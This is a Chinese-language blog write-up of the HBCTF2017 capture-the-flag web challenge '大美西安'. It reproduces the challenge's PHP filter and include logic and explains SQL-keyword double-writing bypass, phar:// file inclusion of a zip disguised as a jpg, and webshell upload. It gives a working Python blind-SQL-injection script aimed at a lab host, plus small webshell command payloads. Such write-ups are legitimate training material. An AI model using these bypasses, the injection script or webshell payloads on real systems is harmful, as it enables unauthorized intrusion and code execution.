[HBCTF2017]大美西安题解

[HBCTF2017]大美西安

考点

  • sql双写绕过
  • 文件包含
  • 文件上传

难度

  • 中下

解题过程

首先进入题目是一个登录页面,url为index.php?file=login。

首先测试有没有sql注入,经过测试没有成功。看到url,联想到文件包含,使用php://filter读源码发现不可以,直接读一些如/etc/passwd之类的文件,均提示Attack Detected!

查看登录页面的源码,发现注释中提示了有注册页面,随意注册一个账号然后登录即可进入下面的页面。

该页面包含上传、下载和查看功能,查看的url形式为index.php?file=view&id=,这里很容易想到去测试sql注入,输入单引号、or表达式等均没有反应,说明存在过滤,尤其是输入1'竟然完全不受影响,这里我合理怀疑作者使用了replace函数进行过滤,可以尝试双写绕过。

在download页面,发现可以成功读取网站源码,这里使用了16进制编码的字符来绕过单引号被过滤的限制。
image

可以读取到index.php,downfile.php等文件内容,其中config.php显示了过滤内容,random_str函数涉及到上传的文件文件名生成,后面会有用。顺便提一句,如果该函数里面的字符集有大写字母,那这个题的难度会陡增,因为mysql是不区分大小写的,但是文件系统是区分的。

function d_addslashes($array){

    foreach($array as $key=>$value){
        if(!is_array($value)){
              !get_magic_quotes_gpc()&&$value=addslashes($value);
              $array[$key]=$value;
        }else{
          $array[$key] = d_addslashes($array[$key]);
        }
    }
    return $array;
}


function filter($id){
    $id = strtolower($id);
	$id = str_replace('select', '', $id);
	$id = str_replace('update', '', $id);
	$id = str_replace('insert', '', $id);
	$id = str_replace('delete', '', $id);
	$id = str_replace('and', '', $id);
	$id = str_replace('or', '', $id);
	$id = str_replace('where', '', $id);
	$id = str_replace('union', '', $id);
    $id = str_replace('like', '', $id);
    $id = str_replace('regexp', '', $id);
    $id = str_replace('is', '', $id);
	$id = str_replace('=', '', $id);
	$id = str_replace(',', '', $id);
	$id = str_replace('|', '', $id);
	$id = str_replace('&', '', $id);
	$id = str_replace('!', '', $id);
    $id = str_replace('%', '', $id);
	$id = str_replace('^', '', $id);
	$id = str_replace('<', '', $id);
	$id = str_replace('>', '', $id);
	$id = str_replace('*', '', $id);
	$id = str_replace('(', '', $id);
	$id = str_replace(')', '', $id);
    return $id ;
}

function random_str($length = "32")
{
    $set = array("a", "b", "c",  "d", "e", "f", 
        "g", "h", "i", "j", "k", "l",
        "m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
        "y","z","1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';
    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }
    return $str;
}

下面是index.php的内容,因为发现index.php可以存在文件包含,这里对其逻辑进行分析。

include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
$file  = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;

if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
	   echo "<div class=\"msg error\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
		die();
}
$filename = $file.".php";
if(!include($filename)){
	if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
	  header("Location: index.php?file=login");
	  die();
    }
#后面省略,没有价值
}

从中很容易发现,过滤确实导致php://filter不可用,但是zip、phar等伪协议并没有被禁止,因此可以上传一个zip文件,文件中存在一个shell文件。只需file=phar://path/xx/jpg/xx即可。因为.php后缀会被自动添加,所以xxx后面无须写其他东西。

小结一下,如果想获得webshell,从而拿到flag,需要上传一个zip在进行访问即可(压缩文件的后缀改为jpg等图片格式)。现在唯一的难点在于上传的zip文件的地址,可以通过sql注入的方式获得,同样利用downfile.php,使用正则注入即可(其他的也可,比如order by注入)。payload的内容见exp。

exp

import string
import requests
import libnum

url = 'http://5eceef43-4f6b-4f4d-817d-5412bff5e782.node4.buuoj.cn:81/downfile.php'
text = "-1 uniunionon seselectlect location from download whwhereere location regregexpexp 0x557031306144732f{}"
strings = "abcdefghijklmnopqrstuvwxyz123456789"
payload = {"image":"","image_download":"收藏"}
headers = {"Cookie":"UM_distinctid=17eb97e258b6b8-0f7f7fc463cc53-133a6253-13c680-17eb97e258c90b; PHPSESSID=d5r18ggc2n9hchu9p75drmede2"}
result = ''
while True:
    flag = False
    for s in strings:
        location = hex(ord(s))[2:]
        payload["image"] = text.format(result+location)
        r = requests.post(url=url,data=payload,headers=headers)
        if len(r.text)==165:#上传的zip的大小,可以用其他方式
            result+=location
            print(libnum.n2s(int(result,16)))
            flag = True
            break
    if not flag:
        break

输出
image
然后包含相应的文件即可,形式为file=phar://xxxxxx/xx.jpg/a。

注意index对GET和POST的参数均进行了转义,因此涉及到单双引号斜杠的内容可能无法执行。

几个payload示例:

echo `ls`;
system(ls);
posted @ 2022-03-08 18:08  b1u3s  阅读(550)  评论(0编辑  收藏  举报